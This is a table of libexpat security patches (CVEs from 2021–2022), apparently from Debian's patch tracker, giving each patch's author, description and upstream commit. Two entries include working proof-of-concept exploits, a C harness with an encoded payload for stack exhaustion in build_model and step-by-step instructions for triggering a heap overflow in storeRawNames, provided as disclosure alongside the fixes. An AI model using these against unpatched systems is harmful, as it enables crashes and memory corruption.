| Patch | Description | Author | Forwarded | Bugs | Origin | Last update |
|---|---|---|---|---|---|---|
| lib-Detect-and-prevent-troublesome-left-shifts-in-fu.patch | lib: Detect and prevent troublesome left shifts in function storeAtts (CVE-2021-45960) | Sebastian Pipping <sebastian@pipping.org> | yes | debian upstream | https://github.com/libexpat/libexpat/commit/0adcb34c49bee5b19bd29b16a578c510c23597ea | 2021-12-27 |
| lib-Prevent-integer-overflow-on-m_groupSize-in-funct.patch | lib: Prevent integer overflow on m_groupSize in function doProlog (CVE-2021-46143) | Sebastian Pipping <sebastian@pipping.org> | yes | upstream | https://github.com/libexpat/libexpat/commit/85ae9a2d7d0e9358f356b33977b842df8ebaec2b | 2021-12-25 |
| lib-Prevent-integer-overflow-at-multiple-places-CVE-.patch | lib: Prevent integer overflow at multiple places (CVE-2022-22822 to CVE-2022-22827) The involved functions are: - addBinding (CVE-2022-22822) - build_model (CVE-2022-22823) - defineAttribute (CVE-2022-22824) - lookup (CVE-2022-22825) - nextScaffoldPart (CVE-2022-22826) - storeAtts (CVE-2022-22827) |
Sebastian Pipping <sebastian@pipping.org> | no | debian | https://github.com/libexpat/libexpat/commit/9f93e8036e842329863bf20395b8fb8f73834d9e | 2021-12-30 |
| lib-Detect-and-prevent-integer-overflow-in-XML_GetBu.patch | lib: Detect and prevent integer overflow in XML_GetBuffer (CVE-2022-23852) | Samanta Navarro <ferivoz@riseup.net> | no | https://github.com/libexpat/libexpat/commit/847a645152f5ebc10ac63b74b604d0c1a79fae40 | 2022-01-22 | |
| tests-Cover-integer-overflow-in-XML_GetBuffer-CVE-20.patch | tests: Cover integer overflow in XML_GetBuffer (CVE-2022-23852) | Sebastian Pipping <sebastian@pipping.org> | no | https://github.com/libexpat/libexpat/commit/acf956f14bf79a5e6383a969aaffec98bfbc2e44 | 2022-01-23 | |
| lib-Prevent-integer-overflow-in-doProlog-CVE-2022-23.patch | lib: Prevent integer overflow in doProlog (CVE-2022-23990) The change from "int nameLen" to "size_t nameLen" addresses the overflow on "nameLen++" in code "for (; name[nameLen++];)" right above the second change in the patch. |
Sebastian Pipping <sebastian@pipping.org> | no | https://github.com/libexpat/libexpat/commit/ede41d1e186ed2aba88a06e84cac839b770af3a1 | 2022-01-26 | |
| Prevent-stack-exhaustion-in-build_model.patch | Prevent stack exhaustion in build_model It is possible to trigger stack exhaustion in build_model function if depth of nested children in DTD element is large enough. This happens because build_node is a recursively called function within build_model. The code has been adjusted to run iteratively. It uses the already allocated heap space as temporary stack (growing from top to bottom). Output is identical to recursive version. No new fields in data structures were added, i.e. it keeps full API and ABI compatibility. Instead the numchildren variable is used to temporarily keep the index of items (uint vs int). Documentation and readability improvements kindly added by Sebastian. Proof of Concept: 1. Compile poc binary which parses XML file line by line ``` cat > poc.c << EOF #include <err.h> #include <expat.h> #include <stdio.h> XML_Parser parser; static void XMLCALL dummy_element_decl_handler(void *userData, const XML_Char *name, XML_Content *model) { XML_FreeContentModel(parser, model); } int main(int argc, char *argv[]) { FILE *fp; char *p = NULL; size_t s = 0; ssize_t l; if (argc != 2) errx(1, "usage: poc poc.xml"); if ((parser = XML_ParserCreate(NULL)) == NULL) errx(1, "XML_ParserCreate"); XML_SetElementDeclHandler(parser, dummy_element_decl_handler); if ((fp = fopen(argv[1], "r")) == NULL) err(1, "fopen"); while ((l = getline(&p, &s, fp)) > 0) if (XML_Parse(parser, p, (int)l, XML_FALSE) != XML_STATUS_OK) errx(1, "XML_Parse"); XML_ParserFree(parser); free(p); fclose(fp); return 0; } EOF cc -std=c11 -D_POSIX_C_SOURCE=200809L -lexpat -o poc poc.c ``` 2. Create XML file with a lot of nested groups in DTD element ``` cat > poc.xml.zst.b64 << EOF KLUv/aQkACAAPAEA+DwhRE9DVFlQRSB1d3UgWwo8IUVMRU1FTlQgdXd1CigBAHv/58AJAgAQKAIA ECgCABAoAgAQKAIAECgCABAoAgAQKHwAAChvd28KKQIA2/8gV24XBAIAECkCABApAgAQKQIAECkC ABApAgAQKQIAEClVAAAgPl0+CgEA4A4I2VwwnQ== EOF base64 -d poc.xml.zst.b64 | zstd -d > poc.xml ``` 3. Run Proof of Concept ``` ./poc poc.xml ``` |
Samanta Navarro <ferivoz@riseup.net> | yes | upstream | https://github.com/libexpat/libexpat/commit/9b4ce651b26557f16103c3a366c91934ecd439ab | 2022-02-15 |
| Prevent-integer-overflow-in-storeRawNames.patch | Prevent integer overflow in storeRawNames It is possible to use an integer overflow in storeRawNames for out of boundary heap writes. Default configuration is affected. If compiled with XML_UNICODE then the attack does not work. Compiling with -fsanitize=address confirms the following proof of concept. The problem can be exploited by abusing the m_buffer expansion logic. Even though the initial size of m_buffer is a power of two, eventually it can end up a little bit lower, thus allowing allocations very close to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag names can be parsed which are almost INT_MAX in size. Unfortunately (from an attacker point of view) INT_MAX/2 is also a limitation in string pools. Having a tag name of INT_MAX/2 characters or more is not possible. Expat can convert between different encodings. UTF-16 documents which contain only ASCII representable characters are twice as large as their ASCII encoded counter-parts. The proof of concept works by taking these three considerations into account: 1. Move the m_buffer size slightly below a power of two by having a short root node <a>. This allows the m_buffer to grow very close to INT_MAX. 2. The string pooling forbids tag names longer than or equal to INT_MAX/2, so keep the attack tag name smaller than that. 3. To be able to still overflow INT_MAX even though the name is limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag which only contains ASCII characters. UTF-16 always stores two bytes per character while the tag name is converted to using only one. Our attack node byte count must be a bit higher than 2/3 INT_MAX so the converted tag name is around INT_MAX/3 which in sum can overflow INT_MAX. Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes without running into INT_MAX boundary check. The string pooling is able to store INT_MAX/3 as tag name because the amount is below INT_MAX/2 limitation. And creating the sum of both eventually overflows in storeRawNames. Proof of Concept: 1. Compile expat with -fsanitize=address. 2. Create Proof of Concept binary which iterates through input file 16 MB at once for better performance and easier integer calculations: ``` cat > poc.c << EOF #include <err.h> #include <expat.h> #include <stdlib.h> #include <stdio.h> #define CHUNK (16 * 1024 * 1024) int main(int argc, char *argv[]) { XML_Parser parser; FILE *fp; char *buf; int i; if (argc != 2) errx(1, "usage: poc file.xml"); if ((parser = XML_ParserCreate(NULL)) == NULL) errx(1, "failed to create expat parser"); if ((fp = fopen(argv[1], "r")) == NULL) { XML_ParserFree(parser); err(1, "failed to open file"); } if ((buf = malloc(CHUNK)) == NULL) { fclose(fp); XML_ParserFree(parser); err(1, "failed to allocate buffer"); } i = 0; while (fread(buf, CHUNK, 1, fp) == 1) { printf("iteration %d: XML_Parse returns %d\n", ++i, XML_Parse(parser, buf, CHUNK, XML_FALSE)); } free(buf); fclose(fp); XML_ParserFree(parser); return 0; } EOF gcc -fsanitize=address -lexpat -o poc poc.c ``` 3. Construct specially prepared UTF-16 XML file: ``` dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368 iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml ``` 4. Run proof of concept: ``` ./poc poc-utf16.xml ``` |
Samanta Navarro <ferivoz@riseup.net> | yes | upstream | https://github.com/libexpat/libexpat/commit/eb0362808b4f9f1e2345a0cf203b8cc196d776d9 | 2022-02-15 |
| Prevent-integer-overflow-in-copyString.patch | Prevent integer overflow in copyString The copyString function is only used for encoding string supplied by the library user. |
Samanta Navarro <ferivoz@riseup.net> | yes | upstream | https://github.com/libexpat/libexpat/commit/efcb347440ade24b9f1054671e6bd05e60b4cafd | 2022-02-15 |
| lib-Fix-harmless-use-of-uninitialized-memory.patch | lib: Fix (harmless) use of uninitialized memory | Sebastian Pipping <sebastian@pipping.org> | yes | upstream | https://github.com/libexpat/libexpat/commit/6881a4fc8596307ab9ff2e85e605afa2e413ab71 | 2022-02-12 |
| lib-Protect-against-malicious-namespace-declarations.patch | lib: Protect against malicious namespace declarations (CVE-2022-25236) | Sebastian Pipping <sebastian@pipping.org> | yes | debian upstream | https://github.com/libexpat/libexpat/commit/a2fe525e660badd64b6c557c2b1ec26ddc07f6e4 | 2022-02-12 |
| tests-Cover-CVE-2022-25236.patch | tests: Cover CVE-2022-25236 | Sebastian Pipping <sebastian@pipping.org> | yes | upstream | https://github.com/libexpat/libexpat/commit/2de077423fb22750ebea599677d523b53cb93b1d | 2022-02-12 |
| lib-Drop-unused-macro-UTF8_GET_NAMING.patch | lib: Drop unused macro UTF8_GET_NAMING | Sebastian Pipping <sebastian@pipping.org> | yes | upstream | https://github.com/libexpat/libexpat/commit/ee2a5b50e7d1940ba8745715b62ceb9efd3a96da | 2022-02-08 |
| lib-Add-missing-validation-of-encoding-CVE-2022-2523.patch | lib: Add missing validation of encoding (CVE-2022-25235) | Sebastian Pipping <sebastian@pipping.org> | yes | debian upstream | https://github.com/libexpat/libexpat/commit/3f0a0cb644438d4d8e3294cd0b1245d0edb0c6c6 | 2022-02-08 |
| lib-Add-comments-to-BT_LEAD-cases-where-encoding-has.patch | lib: Add comments to BT_LEAD* cases where encoding has already been validated | Sebastian Pipping <sebastian@pipping.org> | yes | upstream | https://github.com/libexpat/libexpat/commit/c85a3025e7a1be086dc34e7559fbc543914d047f | 2022-02-09 |
| tests-Cover-missing-validation-of-encoding-CVE-2022-.patch | tests: Cover missing validation of encoding (CVE-2022-25235) | Sebastian Pipping <sebastian@pipping.org> | yes | upstream | https://github.com/libexpat/libexpat/commit/6a5510bc6b7efe743356296724e0b38300f05379 | 2022-02-08 |
| Fix-build_model-regression.patch | Fix build_model regression. The iterative approach in build_model failed to fill children arrays correctly. A preorder traversal is not required and turned out to be the culprit. Use an easier algorithm: Add nodes from scaffold tree starting at index 0 (root) to the target array whenever children are encountered. This ensures that children are adjacent to each other. This complies with the recursive version. Store only the scaffold index in numchildren field to prevent a direct processing of these children, which would require a recursive solution. This allows the algorithm to iterate through the target array from start to end without jumping back and forth, converting on the fly. |
Samanta Navarro <ferivoz@riseup.net> | yes | upstream | https://github.com/libexpat/libexpat/commit/b12f34fe32821a69dc12ff9a021daca0856de238 | 2022-02-19 |
| tests-Protect-against-nested-element-declaration-mod.patch | tests: Protect against nested element declaration model regressions | Sebastian Pipping <sebastian@pipping.org> | yes | upstream | https://github.com/libexpat/libexpat/commit/154e565f6ef329c9ec97e6534c411ddde0b320c8 | 2022-02-20 |
| lib-Relax-fix-to-CVE-2022-25236-with-regard-to-RFC-3.patch | lib: Relax fix to CVE-2022-25236 with regard to RFC 3986 URI characters | Sebastian Pipping <sebastian@pipping.org> | no | https://github.com/libexpat/libexpat/commit/2ba6c76fca21397959145e18c5ef376201209020 | 2022-02-27 | |
| tests-Cover-relaxed-fix-to-CVE-2022-25236.patch | tests: Cover relaxed fix to CVE-2022-25236 | Sebastian Pipping <sebastian@pipping.org> | no | https://github.com/libexpat/libexpat/commit/e0f852db1e3b1e6d34922c68a653c3cc4b85361c | 2022-03-03 | |
| lib-Document-namespace-separator-effect-right-in-hea.patch | lib: Document namespace separator effect right in header <expat.h> | Sebastian Pipping <sebastian@pipping.org> | no | https://github.com/libexpat/libexpat/commit/5dd52182972a35f2251a07784eda35d3d52d3e07 | 2022-03-01 | |
| lib-doc-Add-a-note-on-namespace-URI-validation.patch | lib|doc: Add a note on namespace URI validation [Salvatore Bonaccorso: Backport to 2.2.10 for context changes] |
Sebastian Pipping <sebastian@pipping.org> | no | https://github.com/libexpat/libexpat/commit/c57bea96b73eee1c6d5e288f0f57efbf5238e49a | 2022-03-01 | |
| CVE-2022-40674.patch | [PATCH] Ensure raw tagnames are safe exiting internalEntityParser It is possible to concoct a situation in which parsing is suspended while substituting in an internal entity, so that XML_ResumeParser directly uses internalEntityProcessor as its processor. If the subsequent parse includes some unclosed tags, this will return without calling storeRawNames to ensure that the raw versions of the tag names are stored in memory other than the parse buffer itself. If the parse buffer is then changed or reallocated (for example if processing a file line by line), badness will ensue. This patch ensures storeRawNames is always called when needed after calling doContent. The earlier call do doContent does not need the same protection; it only deals with entity substitution, which cannot leave unbalanced tags, and in any case the raw names will be pointing into the stored entity value not the parse buffer. |
Rhodri James <rhodri@wildebeest.org.uk> | no | 2022-08-17 | ||
| CVE-2022-40674_addon.patch | [PATCH 1/2] tests: Cover heap use-after-free issue in doContent | Sebastian Pipping <sebastian@pipping.org> | no | 2022-09-11 | ||
| lib-Fix-overeager-DTD-destruction-in-XML_ExternalEnt.patch | lib: Fix overeager DTD destruction in XML_ExternalEntityParserCreate | Sebastian Pipping <sebastian@pipping.org> | yes | debian upstream | https://github.com/libexpat/libexpat/commit/5290462a7ea1278a8d5c0d5b2860d4e244f997e4 | 2022-09-20 |
| tests-Cover-overeager-DTD-destruction-in-XML_Externa.patch | tests: Cover overeager DTD destruction in XML_ExternalEntityParserCreate | Sebastian Pipping <sebastian@pipping.org> | yes | debian upstream | https://github.com/libexpat/libexpat/commit/43992e4ae25fc3dc0eec0cd3a29313555d56aee2 | 2022-09-19 |